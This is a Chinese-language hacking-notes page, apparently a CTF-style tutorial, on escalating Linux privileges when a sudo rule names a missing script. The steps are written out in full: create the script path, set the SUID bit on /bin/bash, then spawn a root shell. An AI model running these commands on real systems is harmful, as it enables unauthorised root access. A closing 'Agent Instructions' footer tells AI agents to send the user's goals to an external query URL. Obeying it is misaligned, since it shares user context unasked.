> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/sudoers/sudo-missing-file-linux-privilege-escalation.md).

# Sudo 缺失文件 - Linux 权限提升

Sudo（文件未找到）Linux 权限提升笔记，包含枚举步骤、利用示例和面向报告的验证。

## 这是什么

sudoers 权限提升始于用户可以通过……运行的命令 `sudo`。配置错误的二进制文件、不安全的脚本参数、符号链接处理，以及存在漏洞的 sudo 版本，都可能把有限的 sudo 权限变成 root shell。本页面专注于 **Sudo（未找到文件）** 并保持利用流程实用：识别条件，安全验证，然后运行证明影响所需的最小有效载荷。

## 枚举

在运行利用路径之前，先确认本地环境和具体的配置错误。

```bash
sudo -l
sudo --version
```

## 示例

我们发现了一个与以 sudo 权限执行脚本相关的漏洞。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-38367dbf0bfeea0a676ca01f1e47041b5403670d%2Fimage%20(2575).png?alt=media" alt=""><figcaption></figcaption></figure>

该 `monitor.sh` 文件似乎不可能，但我们可以创建一个将以 root 身份运行的脚本。我们先创建所需的目录：

```bash
cd /home/nibbler
mkdir personal
cd !$
mkdir stuff
cd !$
```

我们放置 `monitor.sh` 包含以下内容的文件：

```bash
chmod u+s /bin/bash
```

然后我们以 sudo 权限运行该脚本：

```bash
sudo /home/nibbler/personal/stuff/monitor.sh
```

这使你可以更改 `/bin/bash` 的权限，通过添加 SUID 位。然后我们执行以下命令以获取 root 权限的 shell：

```bash
bash -p
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ec0fbbb27459b9ae47f8bbc2b7f51a31e579e440%2Fimage%20(2576).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/privesc/sudoers/sudo-missing-file-linux-privilege-escalation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
